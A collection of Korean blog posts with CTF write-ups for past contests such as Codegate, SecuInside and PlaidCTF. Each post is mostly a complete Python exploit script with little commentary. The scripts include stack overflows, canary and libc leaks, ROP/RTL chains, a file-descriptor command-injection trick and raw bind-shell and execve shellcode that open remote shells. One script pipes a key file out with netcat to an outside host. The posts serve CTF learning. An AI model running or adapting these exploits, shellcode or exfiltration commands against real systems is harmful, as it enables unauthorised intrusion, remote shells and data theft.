익스플로잇이 엄청 간단하다.


5글자를 받아와서 system에서 실행시켜주는 그런 문제인데, 5글자밖에 되지 않으니 파일 디스크립터를 이용하여 원하는 명령을 입력하도록 해야 한다고 생각했다.

리눅스에서 소켓의 fd는 기본적으로 4이므로 &4는 소켓의 fd를 의미한다.

따라서 sh를 실행시키고, 인자는 &4에서 받도록 < 를 이용해 넘겨준다.

sh에서 실행된 대부분의 명령은 모두 stdin으로 출력되므로 그것도 마찬가지로 &4로 받아오기 위해 뒤에 >&4를 붙여서 넘겨주면 쉘을 딴 것과 같은 효과를 낼 수 있다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from telnetlib import *
from time import *
 
HOST = '192.168.136.213'
PORT = 31339
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
while True:
    sock.send('sh<&4')
    data = raw_input('$ ')
    sock.send(data+">&4\n")
    sleep(0.1)
    print sock.recv(1024)
cs


'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


로컬 익스플로잇 문제인 모양인데, 지금 보면 이 간단한 문제를 왜 못풀었었는지 모르겠다.

strcat 부분에서 간단하게 오버플로우가 나고, SSP가 걸려 있는 통에 EIP 조작을 통한 공격은 쉽지 않아 보인다.

게다가 뭔가를 출력해주는 함수도 없기 때문에 PLT나 GOT를 활용하는 것도 불가능하다.

오버플로우를 내지 않고 공격을 해야 하는데, 루틴을 보면 공격할 부분이 보인다.

system(dest)로 바로 실행시켜주기 때문에 dest를 어떻게 조작해서 command injection를 하면 쉘을 딸 수 있다.

위에서 __ctype_b_loc 으로 특수문자가 있는지 확인하고, 거기에 더해 공백이 있는지까지 본다.

사실 공백 검사를 하는 것을 깜빡하고 테스트용으로 'echo Hello' 등을 넣어 공격했다가 삽질했다.

strcat를 한 다음에 저 검사를 하기 때문에, 오버플로우를 일으켜 argv[1]의 주소가 든 부분을 덮어써서 NULL이 있는 부분으로 보내버리면 되겠다.


우선 argv[1]의 위치를 확인했다.

argv[1]은 0x7fffffffe893에 존재했고, 이 주소가 들어 있는 부분은 0x7fffffffe630이다.


다음으로 strcat의 인자를 확인하여 dest에 0x7fffffffe420이 들어가는 것을 확인했다.


이 주소간의 offset을 구해보면 0x210이 나온다.


마지막으로 NULL이 위치한 구간을 대충 찾았고, 이걸로 페이로드를 구성하면


./shock `python -c 'print "(dummy);/bin/sh;" + "A" * (0x210-3-len("(dummy);/bin/sh;")) + "\x64\x0a\x40"'`


이 되겠다.

3을 빼주는 이유는 미리 dest에 "id "라는 문자열이 들어 있기 때문이다.

이렇게 공격을 수행하면


쉘을 따는 것에 성공할 수 있다.

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

문제가 갈수록 더 쉬워지는 기분이다;

100, 200, 300점 순서를 바꿔야 할 것 같다.

이 문제는 또 이상한게 분명히 xinetd 로 돌려서 익스플로잇을 해 봤는데, 똑같은 코드를 그대로 로컬에서 돌리면 쉘이 잘 따이는데

리모트로 공격하면 아무리 해도 안되길래 둘 다 올려둔다.

혹시라도 왜 그런지 아는 사람은 답을 주시면 감사하겠습니다.

멍청하게 찡찡댔었다.

interact를 안하다니...아직도 멀었구나.


1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
 
payload = "-4\n"+p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
os.system('(echo "'+payload+'";cat)|./cg13_300')
cs

Local Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
payload = p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
print sock.recv(1024)
sock.send('-4\n'+payload)
sleep(4)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs

Remote Exploit

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

어찌된 문제가 200보다 100이 더 어렵다...

엄청 간단한 스택 버퍼 오버플로우이므로 설명은 생략.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#=====================================
Dummy = 'write'
recv_plt = 0x08048780
bss = 0x0804b0a0
shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66"
            "\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89"
            "\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52"
            "\x66\x68\x33\x33\x66\x53\x89\xe1\x6a\x10"
            "\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04"
            "\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3"
            "\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3"
            "\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
            "\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
            "\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"# bind port : 0x3333
 
#=====================================
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print s.recv(1024)
 
print "==================[ Phase 1 : Inject Payload ]=================="
payload = Dummy+'A'*(0xF0+ p32(recv_plt) + p32(bss)
payload += p32(4+ p32(bss) + p32(0x1000+ p32(0)
printPayload(payload)
s.send(payload+'\n')
sleep(1)
 
print "===============[ Phase 2 : Attack with Shellcode ]=============="
 
s.send(shellcode+'\n')
sleep(1)
 
print "===================[ Phase 3 : Got the Shell ]=================="
 
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 0x3333))
= Telnet()
t.sock = s2
t.interact()
 
s.close()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

푸는데 오래걸리지는 않았지만 릭이 안 되는 경우가 가끔 있어서 짜증났던 문제.

이걸 스택 스프레이라고 불러도 될지 모르겠지만 어쨌든 남아있는 영역에서 참조하는게 문제가 되는 케이스이므로 그렇게 썼다. 이제 Bookstore2도 해야 하고...과제도... 으아아


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.169'
PORT = 31330
 
#====================================================
offset_func1_read = 0xd2
adminID = 'helloadmin'
adminPW = 'iulover!@#$'
#====================================================
 
banner()
 
print "===================[ Phase 1 : Leak FuncPointer ]=================="
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
sock.recv(1024)
sock.send(adminID)
sleep(0.1)
sock.recv(1024)
sock.send(adminPW)
sleep(0.1)
sock.recv(1024)
 
sock.send('1\n'# addBook
sleep(0.1)
sock.recv(2046)
 
sock.send('A'# name
sleep(0.1)
sock.recv(2046)
 
sock.send('A'# desc
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# book
sleep(0.1)
sock.recv(2046)
 
sock.send('2\n'# modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n'# all
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x33333333)+'\n'# stock
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x34343434)+'\n'# price
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# available
sleep(0.1)
sock.recv(2046)
 
sock.send('A'*20# name
sleep(0.1)
sock.recv(2046
 
sock.send('B'*20# description
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# back
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('4\n'# view
sleep(0.1)
 
data = sock.recv(2048)
#sleep(0.1)
funcptr1 = up32(data[data.find('3333')+4:data.find('3333')+8])[0]
readFile = funcptr1 - offset_func1_read
print "[*] Find funcptr1 : "+hex(funcptr1)
print "[*] Find ReadFile : "+hex(readFile)
 
 
#mainmenu
 
#modify_name
 
print "================[ Phase 2 : Attack with Stack Spray ]==============="
 
sock.send('2\n'# modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# name
sleep(0.1)
sock.recv(2046)
 
sock.send(p32(readFile)*125)
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('3\n'# all
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n'# stock
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n'# price
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# available
sleep(0.1)
sock.recv(2046)
 
sock.send('/home/bookstore/key\x00'# name
sleep(0.1)
sock.recv(2046)
 
sock.send('Fxxx_Bookstore'# desc
sleep(0.1)
sock.recv(2046)
 
sock.send('4\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n'# view
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
data = sock.recv(2048)
print "Key : "+data[data.find('Fxxx_Bookstore')+15:data.find('\n', data.find('Fxxx_Bookstore')+15)]
 
sock.close()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


예선


본선


예선, 본선 모두 1위로 우승을 차지했습니다.

처음으로 예선 본선 나뉜 대회에서 개인의 힘으로 우승을 거머쥐어서 매우 뜻깊었던 대회라고 생각합니다.

시상식은 11월 27일 비즈쿨 페스티벌에 할 예정이라고 합니다.


Dimicon Prequal Write-up (5kyc1ad).pdf


Dimicon Qual Write-up (5kyc1ad).pdf






'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

별로 어렵지는 않았지만 argv[0]주소를 찾기 위해 브루트 포싱을 했더니 조금 귀찮았던 문제.

xinetd 데몬으로 돌아가고 있어서 쉘따기가 참 쉬웠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.153'
PORT = 9880
 
#=======================================
system = 0x08048610
freeadd = 0x0804b0E0
#=======================================
 
banner()
 
print "===================[ Phase 1 : Password leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
s.recv(1024)
s.send('A'*0x11d+p32(0x0804b060)+'\n')
sleep(0.1)
data = s.recv(1024)
passwd = data[data.find("***: ")+5:data.find(" terminated")]
print "[*] Found Password : "+passwd
 
print "============[ Phase 2 : Ready to RTL, Canary leak ]============="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
s.recv(1024)
s.send(passwd+'\n')
s.recv(1024)
s.recv(1024)
s.send('2\n')
sleep(0.2)
s.recv(1024)
s.send('1\n')
sleep(0.2)
s.recv(1024)
s.send('4\n')
sleep(0.2)
s.recv(1024)
s.send('A'*0x15+'\n')
sleep(0.2)
s.recv(1024)
s.send('/bin/sh\x00\n')
print '[*] Inject "/bin/sh"'
sleep(0.2)
s.recv(1024)
s.send('Mini\n')
sleep(0.2)
data = s.recv(1024)
data.encode('hex')
canary = data[data.find('AAA\n')+4:data.find('Wow')]
if(len(canary)<4):
    canary = "\x00"*(4-len(canary)) + canary
canary = up32(canary)[0]
print "[*] Found canary : "+hex(canary)
 
print "==================[ Phase 3 : Attack with RTL ]================="
 
s.send('3\n')
sleep(0.2)
s.recv(1024)
payload = 'A'*0xd9+p32(canary)+"A"*0xC+p32(system)+"AAAA"+p32(freeadd)
print "[*] Length of Payload : "+str(len(payload))
s.send(payload+'\n')
print "[*] Payload Injected"
sleep(1)
s.recv(1024)
 
s.send('0\n')
sleep(0.2)
s.recv(1024)
 
s.send('1\n')
sleep(0.2)
s.recv(1024)
 
print "===================[ Phase 4 : Got the shell ]=================="
 
= Telnet()
t.sock = s
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

왠지 스택이 릭되지 않는 문제가 가끔 있긴 한데 어쨌든 작동은 한다.

memcpy로 strcpy로 덮일 dest의 주소를 덮어서 원하는 주소에 값을 덮어쓰고, 이를 이용해 RET을 버퍼 주소로 이동시켜 NOP Sled를 타고 쉘코드가 실행되게 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from hackutil import *
from socket import *
from telnetlib import *
 
HOST = "192.168.136.152"
PORT = 6666
 
#================================================================
shellcode = ("\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2"
        "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c"
        "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05"
        "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89"
        "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f"
        "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21"
        "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
        "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89"
        "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05")
#================================================================
 
banner()
 
print "==================[ Phase 1 : Stack leak ]=================="
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "\x00"*0x108
time.sleep(0.1)
sock.send('arsenal\n')
time.sleep(0.1)
sock.recv(1024)
sock.send('gyeongbokgung\n')
time.sleep(0.1)
sock.recv(1024)
sock.send('psy\n')
time.sleep(0.1)
sock.recv(1024)
sock.send(payload)
time.sleep(0.1)
 
data = up64(sock.recv(2048)[0x108:0x110])[0]
print "[*] Find Stack : "+hex(data)
 
sock.close()
print "=============[ Phase 2 : Attack with Shellcode ]============"
 
sock2 = socket(AF_INET, SOCK_STREAM)
sock2.connect((HOST, PORT))
payload = "\x90"*20 + shellcode + "\x90"*(0x108-20-len(shellcode)) + p64(data+16)
print "Payload Length : "+hex(len(payload))
time.sleep(0.1)
sock2.send('arsenal\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send('gyeongbokgung\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send('psy\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send(payload)
time.sleep(2)
 
print "=================[ Phase 3 : Got the Shell ]================"
 
sock3 = socket(AF_INET, SOCK_STREAM)
sock3.connect((HOST, 4444))
= Telnet()
t.sock = sock3
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

후, RTL로 RTL을 만드는 문제라고 하던 후배의 말이 뭔지 알수 있는 문제였다.

여러 가지 기법이 조합되어서 풀 수 있었던 문제.

RTL을 위한 인자를 직접 하나하나 다 만들고 쉘코드를 받아오고 RTL 도중 FEBP까지...

풀고나니 홀가분하고 나름 재미있었던 문제였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.152'
PORT = 33227
 
#======================================
buf_len = 1020
sprintf_plt = 0x0804887C
ppppr = 0x080499a5
bss = 0x0804ad44
freespace = 0x0804ab40
leave_ret = 0x08048b71
ret_arg = [ 0x8048acc0x80499c30x80499c40x8049990
            0x80499c40x080490500x080490500x08049050
            0x8048acc0x80499c30x80499c40x8049990
            0x080496800x080490500x080490500x08049050]
shellcode = ("\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89"
            "\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39"
            "\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0"
            "\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56"
            "\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f"
            "\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68"
            "\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80")
read_plt = 0x0804893C
read_got = 0x0804AC98
 
# RET = \x40\xab\x04\x08
# fd = \x04\x00\x00\x00
# target = \x40\xab\x04\x08
# length = \x54\x00\x00\x00
#======================================
 
banner()
 
print "===================[ Phase 1 : Attack with Shellcode ]=================="
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
payload = 'A'*buf_len+'AAAA'
payload += p32(sprintf_plt) + p32(ppppr+2+ p32(bss-4+ p32(read_got)
for i in range(len(ret_arg)):
    payload += p32(sprintf_plt) + p32(ppppr+2+ p32(bss+i) + p32(ret_arg[i])
payload += p32(ppppr+3+ p32(bss-8+ p32(leave_ret)
print "[*] Payload Length : "+str(len(payload))
print "[*] Send payload"
s.send('GET http://'+payload+' HTTP/1.1')
sleep(1)
print "[*] Send \\r\\n"
s.send('\r\n')
sleep(1)
print "[*] Send Shellcode"
s.send(shellcode)
sleep(1)
 
print "======================[ Phase 1 : Got the Shell ]======================"
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 1337))
= Telnet()
t.sock = s2
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

처음에 볼땐 환경구축에 필요한 게 참 많길래 어려운 문젠가 싶었으나 오히려 Nuclear보다 쉽게 풀었다.

이번에는 쉘따려고 고생하지 않고 바로 key를 출력하도록 했다.

푸는데 걸린 시간 약 2시간 반...?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from hackutil import *
from socket import *
from time import *
 
HOST = '192.168.136.139'
PORT = 8888
 
#==============================================
pppr = 0x08048b2c
ppppr = 0x080495bc
read_plt = 0x08048620
read_got = 0x0804B010
write_plt = 0x080486E0
write_got = 0x0804B040
libc_main_got = 0x0804B038
offset_read_system = 0x9aa40
binsh = 0x0804970D
bss = 0x0804b080
#==============================================
 
banner()
 
print "===================[ Phase 1 : Canary leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload = 'y'*11
 
s.send(payload)
sleep(0.1)
 
data = s.recv(1024)
 
canary =  up32(data[22:26])[0& 0xFFFFFF00
print "[*] Found Canary : "+hex(canary)
s.close()
 
print "==================[ Phase 2 : Library leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload2 = 'y'*10 + p32(canary) + 'A'*12
payload2 += p32(write_plt) + p32(pppr) + p32(4+ p32(read_got) + p32(4)
payload2 += p32(write_plt) + p32(pppr) + p32(4+ p32(libc_main_got) + p32(4)
 
s.send(payload2)
sleep(0.1)
 
data = s.recv(1024)
read_lib = up32(data[0:4])[0]
libc_main_lib =  up32(data[4:8])[0]
system_lib = read_lib - offset_read_system
 
print "[*] Found read_lib : "+hex(read_lib)
print "[*] Found libc_main_lib : "+hex(libc_main_lib)
print "[*] Found system_lib : "+hex(system_lib)
print '[*] &"/bin/sh" : '+hex(binsh)
 
s.close()
 
print "================[ Phase 3 : Attack with RTL ]================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload3 = 'y'*10 + p32(canary) + 'A'*12
payload3 += p32(read_plt) + p32(pppr) + p32(4+ p32(bss) + p32(0x100)
payload3 += p32(system_lib) + "AAAA" + p32(bss)
 
s.send(payload3)
sleep(0.1)
s.send('nc 192.168.136.1 12595 < key')
sleep(0.1)
 
s.close()
 
print "==================[ Phase 4 : Got the Key ]==================="
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,